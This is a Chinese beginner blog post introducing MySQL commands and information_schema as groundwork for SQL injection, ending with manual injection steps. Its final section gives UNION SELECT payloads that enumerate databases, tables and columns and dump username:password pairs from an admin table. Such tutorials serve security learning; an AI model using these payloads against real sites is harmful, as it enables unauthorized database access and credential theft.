小白谈SQL注入(一)

数据库操作与注入逻辑(不玩数据库很难吃透sql注入)

要学sql注入,就得先了解数据库。

所谓知己知彼,百战不殆
如果你对数据库一窍不通,然后用Sql注入的一般测试方法去测…
对吧,加个’
然后对面报错了你就高兴的大喊,“啊,这个有注入漏洞”然后就不知道怎么弄了
在这里插入图片描述在这里插入图片描述在这里插入图片描述
那么接下来就开始吧!(大佬勿喷)

我们先来看看数据库是个什么东西:
(mysql的安装搭建这里就不讲了,百度很多)
也可以用集成坏境(phpstudy等)

数据库管理系统:
数据库管理系统是一种操纵和管理数据库的大型软件,用于建立、使用和维护数据库,简称。它对数据库进行统一的管理和控制,以保证数据库的安全性和完整性。
像mysql,mssql,oracle,这些都是数据库管理系统。

我把这个比作一栋大楼!
首先我们先进入这栋大楼,自然需要钥匙

我这里以phpstudy演示:
在这里插入图片描述

按下快捷键:win+R,输入cmd
输入:mysql -uroot -p
回车后输入密码
-u后面跟账户名,初始最高权限账号是root
-p是待输入密码,初始密码是root
在这里插入图片描述(这里有个坑:mysql不是系统不是内部或外部命令,也不是可运行的程序,
这是环境变量的问题)在这里插入图片描述
ps:可以设置系统变量path,添加mysql中bin路径
也可以直接打开二进制文件
然后我们查看下数据库
show databases;
在这里插入图片描述
发现有个mysql数据库,我们不妨去看看
use mysql;
show tables;
在这里插入图片描述
发现有个user,这就很敏感了,进去在看一波
select * user;
在这里插入图片描述
发现…(无限想象)、

information_schema里面有三个表比较常用,
tables和columns,还有schemata

  • information_schema.schemata储存了所有数据库的信息在这里插入图片描述
  • information_schema.tables储存了所有表的信息
    table_name 存放表格的名字
    table_schema 存放表格所在的数据库名字

在这里插入图片描述在这里插入图片描述

  • information_schema.columns储存了所有列的信息
    (这里我就不演示了)
    column_name /存放列的名字
    table_name /存放表格的名字
    table_schema /存放表格所在的数据库名字

ps:information_schema.schemata 里面放数据库信息的字段叫schema_name

information_schema.tables里面放数据库信息的字段叫table_schema

在这里为大家整理了一些基本命令

 show databases;          查看数据库
 create database test;     新建数据库
 \c                        跳出错误指令
 quit                      退出数据库
 drop database test;    删除库

在一个库里建表(首先使用当前的库 use 库名)

【创建表】 create table 表名(id int,username varchar(42),password
varchar(32));
id username password 是字段 后面限制的是类型
【查看此库所有表】 show tables;
【删除表】 drop table 表名;
【查看表结构】 desc 表名;
【查看建库语句】 show create database 库名;
【查看建表语句】 show crate table 表名;
【修改表字段值】 alter table 表名 modify 字段名字 修改后的值;
【修改表字段】 alter table 表名 change 原字段名 修改后的字段名;
【添加表字段】 alter table 表名 add 字段名 字段类型
【删除表字段】 alter table 表名 drop 字段名
【插入顺序问题】 alter table 表名 add 字段名 字段类型 first
alter table 表名 add 字段名 字段类型 after 在谁后面
【修改表名字】 alter table 表名 rename 新表名

在表里添加数据

insert into 表名 values(id,‘字符串’,密码);
insert into 表名(id,username,password) vaules(1,‘用户名’,密码);
如果设置自动增长 id不写可以自动增加
如果没设置 id 后显示null
插入多条数据
insert into 表名(id,username,password) values(1,‘张三’,123456),(2,‘李四’,456789);


【删除表内数据】 delete from 表名 where username = '张三';

【修改表内数据】 update 表名 set id=1 where username=‘张三’; 就把用户名为张三的数据的id改为了1
如果不加 where username=‘张三’ 就会把所有数据的id都改为1
【修改多个数据】 update 表名 set id=6,password=666 where username=‘张三’;
【查看具体字段】 select id,username from 表名;
【查看去除重复字段】 select
【具体查看某一数据】 select * from 表名 where id=1;
id也可以写为 id>2 id<2
【查看区间值】 select * from 表名 where id between 1 and 10;
【查看某些数据】 select * from 表名 where id=1 or id=2;
select * from 表名 where id!=1; 相当于 select * from 表名 where id<>1;
select * from 表名 where id in(1,2,3); 查找id为1,2,3的数据
select * from 表名 where username like ‘%张’ 查找数据username中以张结
尾的数据
select * from 表名 where username like ‘张%’ 查找数据username中以张开
头的数据
select * from 表名 where username like ‘%张%’ 查找数据username中带张
的数据
select * from 表名 order by id; 按id升序展示数据(默认为升序)(也可
以后边加入asc)
select * from 表名 order by id desc; 按id降序展示数据
select * from 表名 limit 2,2; 从所有数据中从第三条查询开始查询2条
数据
select * from 表名 limit 2; 从所有数据中查询前两条数据
select count(*) from 表名; 查询此表下共有多少条数据
select username as name from user; 起别名,但不改变原名

当然还有很多高级语法,大家下去之后可以自己查一查

sql手注的一般姿势
一般方法:
1.判断注入点
关键条件:参数用户可控(参数可以改)
构造的参数带入数据库查询
id=1’ 在1后面加上单引号,页面出错
id=1 and 1=1 正常 id=1 and 1=2 错误
注:通过构造错误的语句根据返回结果判断是否存在注入点
2.判断字段数
order by 根据指定的列对结果集进行排序
select * from user order by username;
但是注入时不知道有啥子段名,所以可以用数字代表第几列
select * from user order by 1; 然后可以通过此语句判断有多少字段数
3.判断回显点(在回显点显示我们想要的内容)
union select 1,2
4.查询相关内容
查询库名/数据库版本
union select 1,concat(version(),’:’,database()) //把当前版本和数据库替换在回显点
union select 1,(select group_concat(scherm_name) from information_schema.schemata)
查询当前库所有数据表名
union select 1,(select group_concat(table_name) from information_schema.tables where
table_schema=‘maoshe’)
查询当前数据库的指定数据表内的字段名
union select 1,(select group_concat(column_name) from information_schema.columns
where table_schema=‘maoshe’ and table_name=‘admin’)
查询当前库的指定表内的指定字段的内容
union select 1,(select group_concat(username,’:’,password) from admin)


下章我们开始实战

在这里插入图片描述

你不需要很厉害才能开始,但你需要开始才能很厉害,共勉。

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值